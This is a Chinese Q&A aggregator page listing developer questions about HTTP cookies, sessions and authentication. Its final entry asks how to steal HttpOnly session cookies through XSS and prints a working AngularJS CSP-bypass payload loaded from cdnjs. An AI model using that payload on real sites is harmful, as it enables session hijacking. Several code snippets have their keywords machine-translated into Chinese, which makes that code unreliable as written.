cookies 相关问题

HTTP cookie是用户的Web浏览器存储的一段数据。除非另有说明,否则可以通过JavaScript和服务器端通过HTTP标头创建,读取,修改和删除cookie。

Flutter Dio/http 中的等效代码与 React 中的 Axios 'withCredentials' 相比用于处理基于 Cookie 的身份验证请求的等效代码是什么?

我正在尝试向服务器发送http请求,服务器会通过cookie自动检测用户是否登录。通过将 withCredentials 添加到 true 和

回答 1 投票 0

Express-session cookie 未保存在浏览器中

我已经研究这个好几个小时了。浏览器中未保存 cookie 的原因可能是什么?我正在使用快速会话。以下是我正在使用的代码片段。 常量应用程序 =

回答 4 投票 0

如何在 PHP 中保护用户登录

所以我的数据库包含标准用户名和散列密码(password_hash)。 我的网站上有一个登录表单,用户可以在其中输入其详细信息,然后基于此创建一个会话。 <...

回答 2 投票 0

将从selenium获取的cookie设置为python请求时出现“TypeError:预期字符串或类似字节的对象”

我写了一个selenium脚本来获取网站的cookie: pickle.dump(driver.get_cookies() , open("cookies.pkl","wb")) 我尝试将获取的 cookie 传递给请求 饼干=

回答 1 投票 0

C# HttpClient - 如果请求标头中的 UseCookies 设置为 false,是否可以从响应中获取 cookie?

我知道您可以通过在请求处理程序中添加 CookieContainer 来获取 cookie。 但是,除非我将 UseCookies 设置为 false,否则以下 post 请求将失败: 静态 CookieContainer cookies = 新

回答 2 投票 0

在 MVC 5 中将 JWT 令牌存储在 cookie 中

我想在我的 MVC 应用程序中进行 JWT 身份验证。我在 Web API 中创建授权 Web 服务,它正确返回令牌。之后我尝试将令牌存储在 cookie 中。 [http邮报] 公共异步任务...

回答 2 投票 0

由于同站问题 PHP 无法读取 cookie 值

像这样设置cookie。 setrawcookie('cookie_name',$email_address, time() + (5 * 60), "/",'',false,'无'); 然后使用 JavaScript 读取 cookie 值。 读取Cookie() { 返回文件...

回答 1 投票 0

如何读取Next 14在server.js中设置的API路由中的cookie

在我的 Next 14 应用程序的 server.js 文件中,我有: // 从子域中提取租户的中间件 server.use((req, res, 下一个) => { const 主机名 = req.主机名; ...

回答 1 投票 0

Chrome 不返回 IdentityServer 身份验证 cookie

我正在调试使用 IdentityServer4 的旧 ASPNETCore 身份验证系统的问题。 Chrome(和 Edge)处理 cookie 的方式似乎存在问题。 当登录页面发布...

回答 1 投票 0

为什么 Chrome 网络安全阻止我的第一方 cookie?

我正在尝试从托管我的 api 服务器的整体架构并将 SPA 反应为单独的托管选项(在同一域上,只是不同的子域)。 我的前端托管在 app.domain.com 上,并且 bac...

回答 1 投票 0

在身份验证期间阻止第 3 方 cookie

我有一个 React Web 应用程序,它有两个独立的 git 存储库,并分别托管在 vercel 上。 前端 - https://reactapp.vercel.app 后端 - https://reactapp-server.vercel.app (

回答 1 投票 0

Web cookies maxAge 错误

我正在尝试为我的 JWT cookie 设置 maxAge,我已为其配置了 20 分钟,即 1198 秒。 变量 maxAgeInSeconds 是正确的,但浏览器设置了错误的时间(我认为这是由于......

回答 1 投票 0

setcookie() 默认 secure=true

在 php.ini 中,我可以在哪里将 setcookie() 调用()的默认“安全”参数值设置为 true:https://www.php.net/manual/en/function.setcookie.php#: ~:text=match%20all%20subdomains.-,

回答 1 投票 0

以Node.js(Express)为后端的Next.js中未设置Cookies

我按照本教程在我的项目中使用 HTTP-Only cookie: https://maxschmitt.me/posts/next-js-http-only-cookie-auth-tokens 后端工作正常,我可以在 Postman 中看到 cookie。但对于

回答 2 投票 0

将 cookie 加载到 Python 请求会话时出错

我正在尝试从 selenium 导出的 cookie 将 cookie 加载到 Python 中的请求会话中,但是当我这样做时,它会返回以下错误: “‘list’对象没有属性‘extract_cookies’” 定义

回答 7 投票 0

Cookie 显示在 cookies 选项卡中,但一秒钟后消失 [NextJS & cookies-next]

我正在使用 cookies-next 在 NextJS 中设置 cookie,如下所示(页面路由器,根据文档的客户端): 常量 cookieOptions = { 过期: new Date(Date.now() + 1000 * 60 * 60 * 24 * 399), // 399 天 (...

回答 1 投票 0

启用JavaScript和cookie以继续邮递员中的错误

我正在使用 coingecko 价格图表 api 在应用程序中显示图表,它工作正常,从上周开始,我在图表中遇到了问题,并且对邮递员感到厌倦。 在邮递员中调用 coingecko 价格图表 apcall

回答 1 投票 0

将 $_SESSION 设置为 1 个月后 PHP 过期

我正在尝试让我的 $_SESSIONS 在 30 天后过期。我不处理服务器上的任何敏感数据,因此我不担心 cookie 劫持。这行得通吗? ini_set('session.cookie_life...

回答 1 投票 0

如何使用selenium接受来自站点的cookie

我用 selenium 创建此代码来单击 cookie 按钮,因为我必须接受 cookie 才能访问网站数据 从硒导入网络驱动程序 从 selenium.webdriver.common.by 导入

回答 1 投票 0

启用 HTTPOnly 和 CSP 时使用 XSS 窃取 Cookie:解决方法和策略

当 HTTPOnly 开启且定义了 CSP 规则时,如何窃取 cookie?假设攻击者获得了一个执行 HTTP 的输入字段,并且该输入字段容易受到 XSS 攻击: 当 HTTPOnly 开启且定义了 CSP 规则时,如何窃取 cookie?假设攻击者获得了一个执行 HTTP 的输入字段,并且该输入字段容易受到 XSS 攻击: <form action="/createThread?topic={{lcTopic}}" method="post" class=""> <h2 class="text-muted">New Thread</h2> <hr> <div class="form-group"> <label>Body</label> <textarea type="text" rows="10" class="form-control" name="body" placeholder="Type the body of your thread here..."></textarea> </div> <button type="submit" class="btn btn-primary">Create Thread</button> <button type="button" id="threadPreview" class="btn btn-default">Preview</button> </form>` 在我的服务器中,我将 CSP 规则定义为: .use( helmet.contentSecurityPolicy({ directives: { defaultSrc: ["'self'"], scriptSrc: [ "'self'", "cdnjs.cloudflare.com" ], }, }) ) 攻击者可能通过将以下代码注入文本字段来绕过 CSP: <!DOCTYPE html> <html> <head> <title>XSS Demo</title> <SCRIPT src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></SCRIPT> <SCRIPT src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js"></SCRIPT> </head> <body ng-app ng-csp> <div> <button ng-click="$on.curry.call().alert('xss')">Click Me! </button> <div style="display:none;"> {{$on.curry.call().alert('xss')}} </div> </div> </body> </html> 现在,由于启用了 HTTPOnly,攻击者无法简单地执行“alert(document.cookie)”。考虑到 CSP 规则,他们还可以采用哪些其他方法来窃取 cookie? 我尝试了一个简单的警报(document.cookie),但由于 HTTPOnly 而不起作用: HTTP/1.1 200 OK X-Powered-By: Express Content-Security-Policy: default-src 'self';script-src 'self' cdnjs.cloudflare.com;base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Content-Type: text/html; charset=utf-8 Content-Length: 5924 ETag: W/"1724-zhGBtITbjmwCa+un6GYhGKL+lwo" Set-Cookie: connect.sid=THE COOKIE; Path=/; HttpOnly Date: Sat, 27 Apr 2024 09:29:04 GMT Connection: close 我什至尝试这样做: {{$on.curry.call().eval("var url = '/'; fetch(url).then(response => console.log(response.headers.get('Set-Cookie')))")}} 但是自从 CSP 我得到: angular.js:5930 EvalError:拒绝将字符串评估为 JavaScript,因为“unsafe-eval”不是以下内容安全策略指令中允许的脚本源:“script-src 注意:攻击者显然不允许更改服务器代码!他只能访问输入字段! 在这种情况下,攻击者无法从cookie中获取价值。 因为,HttpOnly 已激活。 这个活动是对的。 如果你成功执行JavaScriptalert(),你应该降级Web浏览器并重新攻击。

回答 1 投票 0

© www.soinside.com 2019 - 2024. All rights reserved.